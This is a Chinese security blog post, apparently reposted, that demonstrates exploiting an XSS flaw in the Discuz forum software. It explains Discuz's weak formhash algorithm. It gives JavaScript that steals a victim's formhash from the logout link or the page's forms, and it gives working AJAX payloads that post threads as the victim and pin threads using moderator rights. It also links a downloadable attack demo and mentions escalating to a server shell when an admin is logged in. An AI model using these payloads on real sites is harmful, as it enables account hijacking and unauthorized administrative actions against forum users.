Discuz xss利用演示( 劫持发帖,置顶帖子等)

没穿底裤 2019年12月31日23:49:00评论363 views字数 2115阅读7分3秒阅读模式
摘要

貌似zone里面有个discuz 如何post 发帖的帖子 http://www.wooyun.org/bugs/wooyun-2010-015312

貌似zone里面有个discuz 如何post 发帖的帖子 http://www.wooyun.org/bugs/wooyun-2010-015312

正好看到个dz xss案例  就研究了下

熟悉discuz的都知道,formhash是一种类似验证码的东西,用来防止从我们网站外部提交数据,但不需要我们手动输入,它在页面打开时就已经生成了,存在一需要提交数据用到的地方的隐藏input里(比如登录、发布文章)。

我们来看看这货的生成算法

function formhash($specialadd = '') {      global $_G;      $hashadd = defined('IN_ADMINCP') ? 'Only For Discuz! Admin Control Panel' : '';     return substr(md5(substr($_G['timestamp'], 0, -7).$_G['username'].$_G['uid'].$_G['authkey'].$hashadd.$specialadd), 8, 8); }

时间戳前3位,大概是 100多天的样子,也就是说这货对于同一人来说 100 天内是不变的.

即可简单获取目标的formhash(算法比较傻逼=.=)

function getHash() {     for(var i=0; i<document.links.length; i++) {         if(document.links[i].href.indexOf("action=logout&formhash=")>0) {             hash=document.links[i].href;             hash=hash.substr(hash.length-8,hash.length);             break;         }     } }

补充:0x_Jin 给出的另一种获取代码

function hash(){     var links=document.links,forms=document.forms;     for(i in links){         var ref=links[i].href||'';         if(ref.indexOf('action=logout&formhash=')>0){             return ref.substr(ref.length-8,ref.length);         }     }     for(f in forms){         if(forms[f].formhash){             return forms[f].formhash.value;         }     } }

接下来的事情就简单了 只要抓取各种包 加上formhash 即可中出

例如 (使用了一个兼容的ajax库  详见附件)

劫持发帖

x.post("forum.php?mod=post&action=newthread&fid=2&extra=&topicsubmit=yes","formhash="+hash+"&posttime=1353989838&wysiwyg=1&subject=title&message=aaaaaaaaaaaaaaaa%0D%0A&replycredit_extcredits=0&replycredit_times=1&replycredit_membertimes=1&replycredit_random=100&readperm=&price=&tags=test&rushreplyfrom=&rushreplyto=&rewardfloor=&stopfloor=&creditlimit=&save=&adddynamic=true&usesig=1&allownoticeauthor=1");

置顶指定帖子

x.post("forum.php?mod=topicadmin&action=moderate&optgroup=1&modsubmit=yes&infloat=yes&inajax=1","frommodcp=&formhash="+hash+"&fid=2&redirect=&listextra=page%3D1&handlekey=mods&moderate[]=12&operations[]=stick&sticklevel=3&expirationstick=&digestlevel=0&expirationdigest=&highlight_color=0&highlight_style[1]=0&highlight_style[2]=0&highlight_style[3]=0&expirationhighlight=&reason=");

演示视频:http://v.youku.com/v_show/id_XNDg0NDg2MjU2.html

高清无码:http://pan.baidu.com/share/link?shareid=136314&uk=587894688

附件下载:http://yaseng.me/wp-content/uploads/2012/12/Csrf-hijacking-admin-demo.rar

ps1:zone里面可能排版不太好 有性趣下载附件吧

ps2:其余动作读者可以抓包自行测试之

ps3:如果管理员同时登陆了后台还可以权限提升或者直接getshell

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
没穿底裤
  • 本文由 发表于 2019年12月31日23:49:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Discuz xss利用演示( 劫持发帖,置顶帖子等)https://cn-sec.com/archives/75139.html

发表评论

匿名网友 填写信息